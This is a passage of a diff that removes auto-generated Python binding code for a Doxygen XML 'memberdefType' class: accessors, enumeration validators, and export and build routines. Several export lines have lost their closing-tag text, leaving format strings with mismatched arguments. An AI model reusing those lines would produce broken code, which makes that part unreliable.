self.templateparamlist = templateparamlist - def get_type(self): - return self.type_ - def set_type(self, type_): - self.type_ = type_ - def get_definition(self): - return self.definition - def set_definition(self, definition): - self.definition = definition - def get_argsstring(self): - return self.argsstring - def set_argsstring(self, argsstring): - self.argsstring = argsstring - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_qualifiedname(self): - return self.qualifiedname - def set_qualifiedname(self, qualifiedname): - self.qualifiedname = qualifiedname - def get_read(self): - return self.read - def set_read(self, read): - self.read = read - def get_write(self): - return self.write - def set_write(self, write): - self.write = write - def get_bitfield(self): - return self.bitfield - def set_bitfield(self, bitfield): - self.bitfield = bitfield - def get_reimplements(self): - return self.reimplements - def set_reimplements(self, reimplements): - self.reimplements = reimplements - def add_reimplements(self, value): - self.reimplements.append(value) - def insert_reimplements_at(self, index, value): - self.reimplements.insert(index, value) - def replace_reimplements_at(self, index, value): - self.reimplements[index] = value - def get_reimplementedby(self): - return self.reimplementedby - def set_reimplementedby(self, reimplementedby): - self.reimplementedby = reimplementedby - def add_reimplementedby(self, value): - self.reimplementedby.append(value) - def insert_reimplementedby_at(self, index, value): - self.reimplementedby.insert(index, value) - def replace_reimplementedby_at(self, index, value): - self.reimplementedby[index] = value - def get_qualifier(self): - return self.qualifier - def set_qualifier(self, qualifier): - self.qualifier = qualifier - def add_qualifier(self, value): - self.qualifier.append(value) - def insert_qualifier_at(self, index, value): - self.qualifier.insert(index, value) - def replace_qualifier_at(self, index, value): - self.qualifier[index] = value - def get_param(self): - return self.param - def set_param(self, param): - self.param = param - def add_param(self, value): - self.param.append(value) - def insert_param_at(self, index, value): - self.param.insert(index, value) - def replace_param_at(self, index, value): - self.param[index] = value - def get_enumvalue(self): - return self.enumvalue - def set_enumvalue(self, enumvalue): - self.enumvalue = enumvalue - def add_enumvalue(self, value): - self.enumvalue.append(value) - def insert_enumvalue_at(self, index, value): - self.enumvalue.insert(index, value) - def replace_enumvalue_at(self, index, value): - self.enumvalue[index] = value - def get_requiresclause(self): - return self.requiresclause - def set_requiresclause(self, requiresclause): - self.requiresclause = requiresclause - def get_initializer(self): - return self.initializer - def set_initializer(self, initializer): - self.initializer = initializer - def get_exceptions(self): - return self.exceptions - def set_exceptions(self, exceptions): - self.exceptions = exceptions - def get_briefdescription(self): - return self.briefdescription - def set_briefdescription(self, briefdescription): - self.briefdescription = briefdescription - def get_detaileddescription(self): - return self.detaileddescription - def set_detaileddescription(self, detaileddescription): - self.detaileddescription = detaileddescription - def get_inbodydescription(self): - return self.inbodydescription - def set_inbodydescription(self, inbodydescription): - self.inbodydescription = inbodydescription - def get_location(self): - return self.location - def set_location(self, location): - self.location = location - def get_references(self): - return self.references - def set_references(self, references): - self.references = references - def add_references(self, value): - self.references.append(value) - def insert_references_at(self, index, value): - self.references.insert(index, value) - def replace_references_at(self, index, value): - self.references[index] = value - def get_referencedby(self): - return self.referencedby - def set_referencedby(self, referencedby): - self.referencedby = referencedby - def add_referencedby(self, value): - self.referencedby.append(value) - def insert_referencedby_at(self, index, value): - self.referencedby.insert(index, value) - def replace_referencedby_at(self, index, value): - self.referencedby[index] = value - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def get_static(self): - return self.static - def set_static(self, static): - self.static = static - def get_strong(self): - return self.strong - def set_strong(self, strong): - self.strong = strong - def get_const(self): - return self.const - def set_const(self, const): - self.const = const - def get_explicit(self): - return self.explicit - def set_explicit(self, explicit): - self.explicit = explicit - def get_inline(self): - return self.inline - def set_inline(self, inline): - self.inline = inline - def get_refqual(self): - return self.refqual - def set_refqual(self, refqual): - self.refqual = refqual - def get_virt(self): - return self.virt - def set_virt(self, virt): - self.virt = virt - def get_volatile(self): - return self.volatile - def set_volatile(self, volatile): - self.volatile = volatile - def get_mutable(self): - return self.mutable - def set_mutable(self, mutable): - self.mutable = mutable - def get_noexcept(self): - return self.noexcept - def set_noexcept(self, noexcept): - self.noexcept = noexcept - def get_constexpr(self): - return self.constexpr - def set_constexpr(self, constexpr): - self.constexpr = constexpr - def get_readable(self): - return self.readable - def set_readable(self, readable): - self.readable = readable - def get_writable(self): - return self.writable - def set_writable(self, writable): - self.writable = writable - def get_initonly(self): - return self.initonly - def set_initonly(self, initonly): - self.initonly = initonly - def get_settable(self): - return self.settable - def set_settable(self, settable): - self.settable = settable - def get_privatesettable(self): - return self.privatesettable - def set_privatesettable(self, privatesettable): - self.privatesettable = privatesettable - def get_protectedsettable(self): - return self.protectedsettable - def set_protectedsettable(self, protectedsettable): - self.protectedsettable = protectedsettable - def get_gettable(self): - return self.gettable - def set_gettable(self, gettable): - self.gettable = gettable - def get_privategettable(self): - return self.privategettable - def set_privategettable(self, privategettable): - self.privategettable = privategettable - def get_protectedgettable(self): - return self.protectedgettable - def set_protectedgettable(self, protectedgettable): - self.protectedgettable = protectedgettable - def get_final(self): - return self.final - def set_final(self, final): - self.final = final - def get_sealed(self): - return self.sealed - def set_sealed(self, sealed): - self.sealed = sealed - def get_new(self): - return self.new - def set_new(self, new): - self.new = new - def get_add(self): - return self.add - def set_add(self, add): - self.add = add - def get_remove(self): - return self.remove - def set_remove(self, remove): - self.remove = remove - def get_raise(self): - return self.raise_ - def set_raise(self, raise_): - self.raise_ = raise_ - def get_optional(self): - return self.optional - def set_optional(self, optional): - self.optional = optional - def get_required(self): - return self.required - def set_required(self, required): - self.required = required - def get_accessor(self): - return self.accessor - def set_accessor(self, accessor): - self.accessor = accessor - def get_attribute(self): - return self.attribute - def set_attribute(self, attribute): - self.attribute = attribute - def get_property(self): - return self.property - def set_property(self, property): - self.property = property - def get_readonly(self): - return self.readonly - def set_readonly(self, readonly): - self.readonly = readonly - def get_bound(self): - return self.bound - def set_bound(self, bound): - self.bound = bound - def get_removable(self): - return self.removable - def set_removable(self, removable): - self.removable = removable - def get_constrained(self): - return self.constrained - def set_constrained(self, constrained): - self.constrained = constrained - def get_transient(self): - return self.transient - def set_transient(self, transient): - self.transient = transient - def get_maybevoid(self): - return self.maybevoid - def set_maybevoid(self, maybevoid): - self.maybevoid = maybevoid - def get_maybedefault(self): - return self.maybedefault - def set_maybedefault(self, maybedefault): - self.maybedefault = maybedefault - def get_maybeambiguous(self): - return self.maybeambiguous - def set_maybeambiguous(self, maybeambiguous): - self.maybeambiguous = maybeambiguous - def validate_DoxMemberKind(self, value): - # Validate type DoxMemberKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['define', 'property', 'event', 'variable', 'typedef', 'enum', 'function', 'signal', 'prototype', 'friend', 'dcop', 'slot', 'interface', 'service'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxMemberKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxRefQualifierKind(self, value): - # Validate type DoxRefQualifierKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['lvalue', 'rvalue'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxRefQualifierKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxVirtualKind(self, value): - # Validate type DoxVirtualKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['non-virtual', 'virtual', 'pure-virtual'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxVirtualKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxAccessor(self, value): - # Validate type DoxAccessor, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['retain', 'copy', 'assign', 'weak', 'strong', 'unretained'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxAccessor' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.templateparamlist is not None or - self.type_ is not None or - self.definition is not None or - self.argsstring is not None or - self.name is not None or - self.qualifiedname is not None or - self.read is not None or - self.write is not None or - self.bitfield is not None or - self.reimplements or - self.reimplementedby or - self.qualifier or - self.param or - self.enumvalue or - self.requiresclause is not None or - self.initializer is not None or - self.exceptions is not None or - self.briefdescription is not None or - self.detaileddescription is not None or - self.inbodydescription is not None or - self.location is not None or - self.references or - self.referencedby - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='memberdefType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('memberdefType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'memberdefType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='memberdefType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='memberdefType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='memberdefType'): - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - if self.static is not None and 'static' not in already_processed: - already_processed.add('static') - outfile.write(' static=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.static), input_name='static')), )) - if self.strong is not None and 'strong' not in already_processed: - already_processed.add('strong') - outfile.write(' strong=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.strong), input_name='strong')), )) - if self.const is not None and 'const' not in already_processed: - already_processed.add('const') - outfile.write(' const=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.const), input_name='const')), )) - if self.explicit is not None and 'explicit' not in already_processed: - already_processed.add('explicit') - outfile.write(' explicit=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.explicit), input_name='explicit')), )) - if self.inline is not None and 'inline' not in already_processed: - already_processed.add('inline') - outfile.write(' inline=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.inline), input_name='inline')), )) - if self.refqual is not None and 'refqual' not in already_processed: - already_processed.add('refqual') - outfile.write(' refqual=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refqual), input_name='refqual')), )) - if self.virt is not None and 'virt' not in already_processed: - already_processed.add('virt') - outfile.write(' virt=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.virt), input_name='virt')), )) - if self.volatile is not None and 'volatile' not in already_processed: - already_processed.add('volatile') - outfile.write(' volatile=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.volatile), input_name='volatile')), )) - if self.mutable is not None and 'mutable' not in already_processed: - already_processed.add('mutable') - outfile.write(' mutable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.mutable), input_name='mutable')), )) - if self.noexcept is not None and 'noexcept' not in already_processed: - already_processed.add('noexcept') - outfile.write(' noexcept=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.noexcept), input_name='noexcept')), )) - if self.constexpr is not None and 'constexpr' not in already_processed: - already_processed.add('constexpr') - outfile.write(' constexpr=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.constexpr), input_name='constexpr')), )) - if self.readable is not None and 'readable' not in already_processed: - already_processed.add('readable') - outfile.write(' readable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.readable), input_name='readable')), )) - if self.writable is not None and 'writable' not in already_processed: - already_processed.add('writable') - outfile.write(' writable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.writable), input_name='writable')), )) - if self.initonly is not None and 'initonly' not in already_processed: - already_processed.add('initonly') - outfile.write(' initonly=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.initonly), input_name='initonly')), )) - if self.settable is not None and 'settable' not in already_processed: - already_processed.add('settable') - outfile.write(' settable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.settable), input_name='settable')), )) - if self.privatesettable is not None and 'privatesettable' not in already_processed: - already_processed.add('privatesettable') - outfile.write(' privatesettable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.privatesettable), input_name='privatesettable')), )) - if self.protectedsettable is not None and 'protectedsettable' not in already_processed: - already_processed.add('protectedsettable') - outfile.write(' protectedsettable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.protectedsettable), input_name='protectedsettable')), )) - if self.gettable is not None and 'gettable' not in already_processed: - already_processed.add('gettable') - outfile.write(' gettable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.gettable), input_name='gettable')), )) - if self.privategettable is not None and 'privategettable' not in already_processed: - already_processed.add('privategettable') - outfile.write(' privategettable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.privategettable), input_name='privategettable')), )) - if self.protectedgettable is not None and 'protectedgettable' not in already_processed: - already_processed.add('protectedgettable') - outfile.write(' protectedgettable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.protectedgettable), input_name='protectedgettable')), )) - if self.final is not None and 'final' not in already_processed: - already_processed.add('final') - outfile.write(' final=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.final), input_name='final')), )) - if self.sealed is not None and 'sealed' not in already_processed: - already_processed.add('sealed') - outfile.write(' sealed=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.sealed), input_name='sealed')), )) - if self.new is not None and 'new' not in already_processed: - already_processed.add('new') - outfile.write(' new=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.new), input_name='new')), )) - if self.add is not None and 'add' not in already_processed: - already_processed.add('add') - outfile.write(' add=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.add), input_name='add')), )) - if self.remove is not None and 'remove' not in already_processed: - already_processed.add('remove') - outfile.write(' remove=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.remove), input_name='remove')), )) - if self.raise_ is not None and 'raise_' not in already_processed: - already_processed.add('raise_') - outfile.write(' raise=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.raise_), input_name='raise')), )) - if self.optional is not None and 'optional' not in already_processed: - already_processed.add('optional') - outfile.write(' optional=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.optional), input_name='optional')), )) - if self.required is not None and 'required' not in already_processed: - already_processed.add('required') - outfile.write(' required=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.required), input_name='required')), )) - if self.accessor is not None and 'accessor' not in already_processed: - already_processed.add('accessor') - outfile.write(' accessor=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.accessor), input_name='accessor')), )) - if self.attribute is not None and 'attribute' not in already_processed: - already_processed.add('attribute') - outfile.write(' attribute=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.attribute), input_name='attribute')), )) - if self.property is not None and 'property' not in already_processed: - already_processed.add('property') - outfile.write(' property=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.property), input_name='property')), )) - if self.readonly is not None and 'readonly' not in already_processed: - already_processed.add('readonly') - outfile.write(' readonly=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.readonly), input_name='readonly')), )) - if self.bound is not None and 'bound' not in already_processed: - already_processed.add('bound') - outfile.write(' bound=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.bound), input_name='bound')), )) - if self.removable is not None and 'removable' not in already_processed: - already_processed.add('removable') - outfile.write(' removable=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.removable), input_name='removable')), )) - if self.constrained is not None and 'constrained' not in already_processed: - already_processed.add('constrained') - outfile.write(' constrained=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.constrained), input_name='constrained')), )) - if self.transient is not None and 'transient' not in already_processed: - already_processed.add('transient') - outfile.write(' transient=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.transient), input_name='transient')), )) - if self.maybevoid is not None and 'maybevoid' not in already_processed: - already_processed.add('maybevoid') - outfile.write(' maybevoid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.maybevoid), input_name='maybevoid')), )) - if self.maybedefault is not None and 'maybedefault' not in already_processed: - already_processed.add('maybedefault') - outfile.write(' maybedefault=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.maybedefault), input_name='maybedefault')), )) - if self.maybeambiguous is not None and 'maybeambiguous' not in already_processed: - already_processed.add('maybeambiguous') - outfile.write(' maybeambiguous=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.maybeambiguous), input_name='maybeambiguous')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='memberdefType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.templateparamlist is not None: - namespaceprefix_ = self.templateparamlist_nsprefix_ + ':' if (UseCapturedNS_ and self.templateparamlist_nsprefix_) else '' - self.templateparamlist.export(outfile, level, namespaceprefix_, namespacedef_='', name_='templateparamlist', pretty_print=pretty_print) - if self.type_ is not None: - namespaceprefix_ = self.type__nsprefix_ + ':' if (UseCapturedNS_ and self.type__nsprefix_) else '' - self.type_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='type', pretty_print=pretty_print) - if self.definition is not None: - namespaceprefix_ = self.definition_nsprefix_ + ':' if (UseCapturedNS_ and self.definition_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdefinition>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.definition), input_name='definition')), namespaceprefix_ , eol_)) - if self.argsstring is not None: - namespaceprefix_ = self.argsstring_nsprefix_ + ':' if (UseCapturedNS_ and self.argsstring_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sargsstring>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.argsstring), input_name='argsstring')), namespaceprefix_ , eol_)) - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - if self.qualifiedname is not None: - namespaceprefix_ = self.qualifiedname_nsprefix_ + ':' if (UseCapturedNS_ and self.qualifiedname_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%squalifiedname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.qualifiedname), input_name='qualifiedname')), namespaceprefix_ , eol_)) - if self.read is not None: - namespaceprefix_ = self.read_nsprefix_ + ':' if (UseCapturedNS_ and self.read_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sread>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.read), input_name='read')), namespaceprefix_ , eol_)) - if self.write is not None: - namespaceprefix_ = self.write_nsprefix_ + ':' if (UseCapturedNS_ and self.write_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%swrite>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.write), input_name='write')), namespaceprefix_ , eol_)) - if self.bitfield is not None: - namespaceprefix_ = self.bitfield_nsprefix_ + ':' if (UseCapturedNS_ and self.bitfield_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sbitfield>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.bitfield), input_name='bitfield')), namespaceprefix_ , eol_)) - for reimplements_ in self.reimplements: - namespaceprefix_ = self.reimplements_nsprefix_ + ':' if (UseCapturedNS_ and self.reimplements_nsprefix_) else '' - reimplements_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='reimplements', pretty_print=pretty_print) - for reimplementedby_ in self.reimplementedby: - namespaceprefix_ = self.reimplementedby_nsprefix_ + ':' if (UseCapturedNS_ and self.reimplementedby_nsprefix_) else '' - reimplementedby_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='reimplementedby', pretty_print=pretty_print) - for qualifier_ in self.qualifier: - namespaceprefix_ = self.qualifier_nsprefix_ + ':' if (UseCapturedNS_ and self.qualifier_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%squalifier>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(qualifier_), input_name='qualifier')), namespaceprefix_ , eol_)) - for param_ in self.param: - namespaceprefix_ = self.param_nsprefix_ + ':' if (UseCapturedNS_ and self.param_nsprefix_) else '' - param_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='param', pretty_print=pretty_print) - for enumvalue_ in self.enumvalue: - namespaceprefix_ = self.enumvalue_nsprefix_ + ':' if (UseCapturedNS_ and self.enumvalue_nsprefix_) else '' - enumvalue_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='enumvalue', pretty_print=pretty_print) - if self.requiresclause is not None: - namespaceprefix_ = self.requiresclause_nsprefix_ + ':' if (UseCapturedNS_ and self.requiresclause_nsprefix_) else '' - self.requiresclause.export(outfile, level, namespaceprefix_, namespacedef_='', name_='requiresclause', pretty_print=pretty_print) - if self.initializer is not None: - namespaceprefix_ = self.initializer_nsprefix_ + ':' if (UseCapturedNS_ and self.initializer_nsprefix_) else '' - self.initializer.export(outfile, level, namespaceprefix_, namespacedef_='', name_='initializer', pretty_print=pretty_print) - if self.exceptions is not None: - namespaceprefix_ = self.exceptions_nsprefix_ + ':' if (UseCapturedNS_ and self.exceptions_nsprefix_) else '' - self.exceptions.export(outfile, level, namespaceprefix_, namespacedef_='', name_='exceptions', pretty_print=pretty_print) - if self.briefdescription is not None: - namespaceprefix_ = self.briefdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.briefdescription_nsprefix_) else '' - self.briefdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='briefdescription', pretty_print=pretty_print) - if self.detaileddescription is not None: - namespaceprefix_ = self.detaileddescription_nsprefix_ + ':' if (UseCapturedNS_ and self.detaileddescription_nsprefix_) else '' - self.detaileddescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='detaileddescription', pretty_print=pretty_print) - if self.inbodydescription is not None: - namespaceprefix_ = self.inbodydescription_nsprefix_ + ':' if (UseCapturedNS_ and self.inbodydescription_nsprefix_) else '' - self.inbodydescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='inbodydescription', pretty_print=pretty_print) - if self.location is not None: - namespaceprefix_ = self.location_nsprefix_ + ':' if (UseCapturedNS_ and self.location_nsprefix_) else '' - self.location.export(outfile, level, namespaceprefix_, namespacedef_='', name_='location', pretty_print=pretty_print) - for references_ in self.references: - namespaceprefix_ = self.references_nsprefix_ + ':' if (UseCapturedNS_ and self.references_nsprefix_) else '' - references_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='references', pretty_print=pretty_print) - for referencedby_ in self.referencedby: - namespaceprefix_ = self.referencedby_nsprefix_ + ':' if (UseCapturedNS_ and self.referencedby_nsprefix_) else '' - referencedby_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='referencedby', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_DoxMemberKind(self.kind) # validate type DoxMemberKind - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - value = find_attr_value_('static', node) - if value is not None and 'static' not in already_processed: - already_processed.add('static') - self.static = value - self.validate_DoxBool(self.static) # validate type DoxBool - value = find_attr_value_('strong', node) - if value is not None and 'strong' not in already_processed: - already_processed.add('strong') - self.strong = value - self.validate_DoxBool(self.strong) # validate type DoxBool - value = find_attr_value_('const', node) - if value is not None and 'const' not in already_processed: - already_processed.add('const') - self.const = value - self.validate_DoxBool(self.const) # validate type DoxBool - value = find_attr_value_('explicit', node) - if value is not None and 'explicit' not in already_processed: - already_processed.add('explicit') - self.explicit = value - self.validate_DoxBool(self.explicit) # validate type DoxBool - value = find_attr_value_('inline', node) - if value is not None and 'inline' not in already_processed: - already_processed.add('inline') - self.inline = value - self.validate_DoxBool(self.inline) # validate type DoxBool - value = find_attr_value_('refqual', node) - if value is not None and 'refqual' not in already_processed: - already_processed.add('refqual') - self.refqual = value - self.validate_DoxRefQualifierKind(self.refqual) # validate type DoxRefQualifierKind - value = find_attr_value_('virt', node) - if value is not None and 'virt' not in already_processed: - already_processed.add('virt') - self.virt = value - self.validate_DoxVirtualKind(self.virt) # validate type DoxVirtualKind - value = find_attr_value_('volatile', node) - if value is not None and 'volatile' not in already_processed: - already_processed.add('volatile') - self.volatile = value - self.validate_DoxBool(self.volatile) # validate type DoxBool - value = find_attr_value_('mutable', node) - if value is not None and 'mutable' not in already_processed: - already_processed.add('mutable') - self.mutable = value - self.validate_DoxBool(self.mutable) # validate type DoxBool - value = find_attr_value_('noexcept', node) - if value is not None and 'noexcept' not in already_processed: - already_processed.add('noexcept') - self.noexcept = value - self.validate_DoxBool(self.noexcept) # validate type DoxBool - value = find_attr_value_('constexpr', node) - if value is not None and 'constexpr' not in already_processed: - already_processed.add('constexpr') - self.constexpr = value - self.validate_DoxBool(self.constexpr) # validate type DoxBool - value = find_attr_value_('readable', node) - if value is not None and 'readable' not in already_processed: - already_processed.add('readable') - self.readable = value - self.validate_DoxBool(self.readable) # validate type DoxBool - value = find_attr_value_('writable', node) - if value is not None and 'writable' not in already_processed: - already_processed.add('writable') - self.writable = value - self.validate_DoxBool(self.writable) # validate type DoxBool - value = find_attr_value_('initonly', node) - if value is not None and 'initonly' not in already_processed: - already_processed.add('initonly') - self.initonly = value - self.validate_DoxBool(self.initonly) # validate type DoxBool - value = find_attr_value_('settable', node) - if value is not None and 'settable' not in already_processed: - already_processed.add('settable') - self.settable = value - self.validate_DoxBool(self.settable) # validate type DoxBool - value = find_attr_value_('privatesettable', node) - if value is not None and 'privatesettable' not in already_processed: - already_processed.add('privatesettable') - self.privatesettable = value - self.validate_DoxBool(self.privatesettable) # validate type DoxBool - value = find_attr_value_('protectedsettable', node) - if value is not None and 'protectedsettable' not in already_processed: - 